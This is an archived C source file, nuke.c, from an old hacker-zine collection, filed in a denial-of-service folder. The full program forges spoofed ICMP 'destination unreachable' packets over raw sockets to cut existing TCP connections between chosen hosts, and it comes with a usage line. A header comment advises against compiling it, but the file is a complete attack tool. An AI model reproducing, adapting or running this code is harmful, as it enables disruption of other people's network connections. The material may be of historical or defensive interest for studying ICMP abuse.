home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / nuke.c < prev    next >
C/C++ Source or Header  |  1998-12-09  |  6KB  |  205 lines

  1. /*
  2.  *  nuke.c version 1.0 04/25/92
  3.  *    by Satanic Mechanic.
  4.  *
  5.  *  must be root to open raw sockets. this version will kill
  6.  *  almost any ip connection.
  7.  *  ---------------------------------------------------------------- 
  8.  *  I strongly advise against even compiling this software. It's far
  9.  *  too dangerous, and the temptation may be there to do some real
  10.  *  damage with it.  Read and learn, that's it, eh?  -concerned
  11.  *  ----------------------------------------------------------------
  12.  * 
  13.  */                          
  14.  
  15. #include <netdb.h>
  16. #include <sys/time.h>
  17. #include <sys/types.h>
  18. #include <sys/socket.h>
  19. #include <netinet/in.h>
  20. #include <netinet/in_systm.h>
  21. #include <netinet/ip.h>
  22. #include <netinet/ip_icmp.h>
  23. #include <netinet/tcp.h>
  24. #include <signal.h>
  25. #include <errno.h>
  26. #include <string.h>
  27. #include <stdio.h>
  28.  
  29. #define DEFAULT_UNREACH ICMP_UNREACH_PORT
  30.  
  31. char *icmp_unreach_type[] = {
  32.     "net",
  33.     "host",
  34.     "protocol",
  35.     "port",
  36.     "frag",
  37.     "source",
  38.     "destnet",
  39.     "desthost",
  40.     "isolated",
  41.     "authnet",
  42.     "authhost",
  43.     "netsvc",
  44.     "hostsvc"
  45. };
  46.  
  47. #define MAX_ICMP_UNREACH (sizeof(icmp_unreach_type)/sizeof(char *))
  48.  
  49. int resolve_unreach_type(arg)
  50.     char *arg;
  51. {
  52.     int i;
  53.  
  54.     for (i=0; i <MAX_ICMP_UNREACH; i++) {
  55.         if (!strcmp(arg,icmp_unreach_type[i])) return i;
  56.     }
  57.     return -1;
  58. }
  59.  
  60. int resolve_host (host,sa)
  61.     char *host;
  62.     struct sockaddr_in *sa;
  63. {
  64.     struct hostent *ent ;
  65.  
  66.     bzero(sa,sizeof(struct sockaddr));  
  67.     sa->sin_family = AF_INET;
  68.     if (inet_addr(host) == -1) {
  69.         ent = gethostbyname(host);
  70.         if (ent != NULL) {
  71.             sa->sin_family = ent->h_addrtype;
  72.             bcopy(ent->h_addr,(caddr_t)&sa->sin_addr,ent->h_length);
  73.             return(0);
  74.         }
  75.         else {
  76.             fprintf(stderr,"error: unknown host %s\n",host);
  77.             return(-1);
  78.         }
  79.     }
  80.     return(0);
  81. }
  82.  
  83. in_cksum(addr, len)             /* from ping.c */
  84. u_short *addr;
  85. int len;
  86. {
  87.         register int nleft = len;
  88.         register u_short *w = addr;
  89.         register int sum = 0;
  90.         u_short answer = 0;
  91.  
  92.         /*
  93.          *  Our algorithm is simple, using a 32 bit accumulator (sum),
  94.          *  we add sequential 16 bit words to it, and at the end, fold
  95.          *  back all the carry bits from the top 16 bits into the lower
  96.          *  16 bits.         
  97.          */
  98.         while( nleft > 1 )  {
  99.                 sum += *w++;
  100.                 nleft -= 2;
  101.         }
  102.  
  103.         /* mop up an odd byte, if necessary */
  104.         if( nleft == 1 ) {
  105.                 *(u_char *)(&answer) = *(u_char *)w ;
  106.                 sum += answer;
  107.         }
  108.  
  109.         /*
  110.          * add back carry outs from top 16 bits to low 16 bits
  111.          */
  112.         sum = (sum >> 16) + (sum & 0xffff);     /* add hi 16 to low 16 */
  113.         sum += (sum >> 16);                     /* add carry */
  114.         answer = ~sum;                          /* truncate to 16 bits */
  115.         return (answer);
  116. }
  117.  
  118. int icmp_unreach(host,uhost,port,type)
  119.      char *host,*uhost;
  120.      int type,port;
  121. {
  122.     struct sockaddr_in name;
  123.     struct sockaddr dest,uspoof;
  124.     struct icmp *mp;
  125.     struct tcphdr *tp;
  126.     struct protoent *proto;
  127.     
  128.     int i,s,rc;
  129.     char *buf = (char *) malloc(sizeof(struct icmp)+64);
  130.     mp = (struct icmp *) buf;
  131.     if (resolve_host(host,&dest) <0) return(-1);
  132.     if (resolve_host(uhost,&uspoof) <0) return(-1);
  133.     if ((proto = getprotobyname("icmp")) == NULL) {
  134.         fputs("unable to determine protocol number of \"icmp\n",stderr);
  135.         return(-1);
  136.     }
  137.     if ((s = socket(AF_INET,SOCK_RAW,proto->p_proto)) <0 ) {
  138.         perror("opening raw socket");
  139.         return(-1);
  140.     }
  141.  
  142.     /* Assign it to a port */
  143.     name.sin_family = AF_INET;
  144.     name.sin_addr.s_addr = INADDR_ANY;
  145.     name.sin_port = htons(port);
  146.  
  147.     /* Bind it to the port */
  148.     rc = bind(s, (struct sockaddr *) & name, sizeof(name));
  149.     if (rc == -1) {
  150.       perror("bind");
  151.       return(-1);
  152.     }
  153.  
  154.     if ((proto = getprotobyname("tcp")) == NULL) {
  155.         fputs("unable to determine protocol number of \"icmp\n",stderr);
  156.         return(-1);
  157.     }                                          
  158.  
  159.     /* the following messy stuff from Adam Glass (icmpsquish.c) */
  160.     bzero(mp,sizeof(struct icmp)+64);
  161.     mp->icmp_type = ICMP_UNREACH;
  162.     mp->icmp_code = type;
  163.     mp->icmp_ip.ip_v = IPVERSION;
  164.     mp->icmp_ip.ip_hl = 5;
  165.     mp->icmp_ip.ip_len = htons(sizeof(struct ip)+64+20);
  166.     mp->icmp_ip.ip_p = IPPROTO_TCP;
  167.     mp->icmp_ip.ip_src = ((struct sockaddr_in *) &dest)->sin_addr;
  168.     mp->icmp_ip.ip_dst = ((struct sockaddr_in *) &uspoof)->sin_addr;
  169.     mp->icmp_ip.ip_ttl = 179;
  170.     mp->icmp_cksum = 0;
  171.     tp = (struct tcphdr *)   ((char *) &mp->icmp_ip+sizeof(struct ip));
  172.     tp->th_sport = 23;
  173.     tp->th_dport = htons(port);
  174.     tp->th_seq = htonl(0x275624F2);
  175.     mp->icmp_cksum = htons(in_cksum(mp,sizeof(struct icmp)+64));
  176.     if ((i= sendto(s,buf,sizeof(struct icmp)+64, 0,&dest,sizeof(dest))) <0 ) {
  177.         perror("sending icmp packet");
  178.         return(-1);
  179.     }
  180.     return(0);
  181. }
  182.  
  183. void main(argc,argv)
  184.      int argc;
  185.      char **argv;
  186. {
  187.     int i, type;
  188.  
  189.     if ((argc <4) || (argc >5)) {
  190.         fprintf(stderr,"usage: nuke host uhost port [unreach_type]\n");  
  191.         exit(1);
  192.     }
  193.     
  194.     if (argc == 4) type = DEFAULT_UNREACH;
  195.     else type = resolve_unreach_type(argv[4]);
  196.  
  197.     if ((type <0) ||(type >MAX_ICMP_UNREACH)) {
  198.         fputs("invalid unreachable type",stderr);
  199.         exit(1);
  200.     }
  201.     if (icmp_unreach(argv[1],argv[2],atoi(argv[3]),type) <0) exit(1);
  202.     exit(0);
  203. }
  204.  
  205.